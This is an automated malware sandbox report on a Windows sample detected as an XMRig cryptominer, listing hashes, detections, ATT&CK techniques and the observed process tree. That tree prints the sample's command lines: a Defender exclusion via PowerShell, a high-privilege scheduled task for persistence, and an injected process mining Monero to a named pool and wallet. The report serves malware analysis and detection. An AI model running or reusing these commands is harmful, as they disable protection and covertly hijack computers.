xmrig | 0f1f360e32236b3af68ae241d8604a202c3de6d93603163d2af21364263fceb7

Analysis

max time kernel
69s
max time network
134s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
06/02/2023, 13:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

1.9MB
MD5

d1949ae00330d3c0f7cc282d2f6952cc
SHA1

f94a50cdd1aff1fe2f7f4135647df2a680ac3e79
SHA256

0f1f360e32236b3af68ae241d8604a202c3de6d93603163d2af21364263fceb7
SHA512

0f1499ee262e56c4771490fee60c4d76ba8625b6b5004ca73be437c6f17e5a358237c03fc78da07c6a7043ef52252f73cdadd4635c5eef38dbe5cc3fd36b2730
SSDEEP

24576:Nx2pKMUGjuNYmUeV5CMl307hOhkMIIj0VOyp2VmmBgbc2vLmmsanDJY++JyBBT9:Nx4U2mV6MV28m9vF2/2c29YjyBBx

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 14 IoCs

miner

resource	yara_rule
behavioral1/memory/376-103-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-105-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-107-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-108-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-110-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-112-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-113-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-115-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-118-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/376-117-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-120-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-122-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/376-124-0x0000000000000000-0x0000000001000000-memory.dmp	xmrig
behavioral1/memory/376-126-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

.NET Reactor proctector 3 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/616-70-0x00000000010E0000-0x00000000012BE000-memory.dmp	net_reactor
behavioral1/memory/616-123-0x00000000010E0000-0x00000000012BE000-memory.dmp	net_reactor
behavioral1/memory/376-124-0x0000000000000000-0x0000000001000000-memory.dmp	net_reactor

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 616 set thread context of 376	616	file.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1544	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
616	file.exe
664	powershell.exe
616	file.exe
616	file.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	616	file.exe
Token: SeDebugPrivilege	664	powershell.exe
Token: SeLockMemoryPrivilege	376	vbc.exe
Token: SeLockMemoryPrivilege	376	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
376	vbc.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 616 wrote to memory of 664	616	file.exe	28
PID 616 wrote to memory of 664	616	file.exe	28
PID 616 wrote to memory of 664	616	file.exe	28
PID 616 wrote to memory of 1536	616	file.exe	30
PID 616 wrote to memory of 1536	616	file.exe	30
PID 616 wrote to memory of 1536	616	file.exe	30
PID 1536 wrote to memory of 1544	1536	cmd.exe	32
PID 1536 wrote to memory of 1544	1536	cmd.exe	32
PID 1536 wrote to memory of 1544	1536	cmd.exe	32
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34
PID 616 wrote to memory of 376	616	file.exe	34

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "XORES" /tr "C:\ProgramData\Review\XORES.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "XORES" /tr "C:\ProgramData\Review\XORES.exe"
    3⤵
    - Creates scheduled task(s)
    PID:1544
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/376-98-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-128-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/376-127-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/376-126-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-125-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/376-124-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/376-122-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-121-0x00000000000E0000-0x0000000000100000-memory.dmp

Filesize
128KB

Download
memory/376-120-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-117-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-115-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-113-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-112-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-110-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-108-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-107-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-105-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-103-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-101-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/376-99-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/616-71-0x000007FEF62B0000-0x000007FEF63DC000-memory.dmp

Filesize
1.2MB

Download
memory/616-76-0x000007FEFEDF0000-0x000007FEFEEC7000-memory.dmp

Filesize
860KB

Download
memory/616-56-0x000007FEF6620000-0x000007FEF66BC000-memory.dmp

Filesize
624KB

Download
memory/616-57-0x000007FEFD630000-0x000007FEFD697000-memory.dmp

Filesize
412KB

Download
memory/616-58-0x0000000076E30000-0x0000000076F2A000-memory.dmp

Filesize
1000KB

Download
memory/616-59-0x000007FEFD510000-0x000007FEFD5AF000-memory.dmp

Filesize
636KB

Download
memory/616-60-0x0000000076D10000-0x0000000076E2F000-memory.dmp

Filesize
1.1MB

Download
memory/616-83-0x00000000000E0000-0x0000000000123000-memory.dmp

Filesize
268KB

Download
memory/616-123-0x00000000010E0000-0x00000000012BE000-memory.dmp

Filesize
1.9MB

Download
memory/616-61-0x000007FEFD050000-0x000007FEFD0BC000-memory.dmp

Filesize
432KB

Download
memory/616-86-0x000007FEFB1C0000-0x000007FEFB3D5000-memory.dmp

Filesize
2.1MB

Download
memory/616-88-0x000007FEFDB50000-0x000007FEFDB6F000-memory.dmp

Filesize
124KB

Download
memory/616-89-0x000007FEFA6D0000-0x000007FEFA6EC000-memory.dmp

Filesize
112KB

Download
memory/616-90-0x000007FEF0CA0000-0x000007FEF0D02000-memory.dmp

Filesize
392KB

Download
memory/616-91-0x000007FEFDB00000-0x000007FEFDB4D000-memory.dmp

Filesize
308KB

Download
memory/616-92-0x000007FEF9D50000-0x000007FEF9DB4000-memory.dmp

Filesize
400KB

Download
memory/616-93-0x000007FEF9DC0000-0x000007FEF9E31000-memory.dmp

Filesize
452KB

Download
memory/616-94-0x000007FEFCB40000-0x000007FEFCB65000-memory.dmp

Filesize
148KB

Download
memory/616-95-0x000007FEFA850000-0x000007FEFA877000-memory.dmp

Filesize
156KB

Download
memory/616-96-0x000007FEFCE30000-0x000007FEFCE66000-memory.dmp

Filesize
216KB

Download
memory/616-97-0x000007FEFC390000-0x000007FEFC3EB000-memory.dmp

Filesize
364KB

Download
memory/616-62-0x000007FEFD490000-0x000007FEFD501000-memory.dmp

Filesize
452KB

Download
memory/616-63-0x000007FEF6520000-0x000007FEF6617000-memory.dmp

Filesize
988KB

Download
memory/616-64-0x000007FEFF0C0000-0x000007FEFF19B000-memory.dmp

Filesize
876KB

Download
memory/616-73-0x000007FEFC570000-0x000007FEFC587000-memory.dmp

Filesize
92KB

Download
memory/616-72-0x000007FEFC6C0000-0x000007FEFC6E2000-memory.dmp

Filesize
136KB

Download
memory/616-55-0x000007FEF6E20000-0x000007FEF6E8F000-memory.dmp

Filesize
444KB

Download
memory/616-70-0x00000000010E0000-0x00000000012BE000-memory.dmp

Filesize
1.9MB

Download
memory/616-69-0x000007FEFD280000-0x000007FEFD483000-memory.dmp

Filesize
2.0MB

Download
memory/616-68-0x000007FEFD6A0000-0x000007FEFD7CD000-memory.dmp

Filesize
1.2MB

Download
memory/616-67-0x00000000000E0000-0x0000000000123000-memory.dmp

Filesize
268KB

Download
memory/616-66-0x00000000010E0000-0x00000000012BE000-memory.dmp

Filesize
1.9MB

Download
memory/616-65-0x000007FEF55A0000-0x000007FEF5F8C000-memory.dmp

Filesize
9.9MB

Download
memory/664-75-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

Filesize
8KB

Download
memory/664-77-0x000007FEECD60000-0x000007FEED783000-memory.dmp

Filesize
10.1MB

Download
memory/664-82-0x00000000028CB000-0x00000000028EA000-memory.dmp

Filesize
124KB

Download
memory/664-81-0x00000000028C4000-0x00000000028C7000-memory.dmp

Filesize
12KB

Download
memory/664-80-0x000000001B890000-0x000000001BB8F000-memory.dmp

Filesize
3.0MB

Download
memory/664-78-0x000007FEEC200000-0x000007FEECD5D000-memory.dmp

Filesize
11.4MB

Download
memory/664-79-0x00000000028C4000-0x00000000028C7000-memory.dmp

Filesize
12KB

Download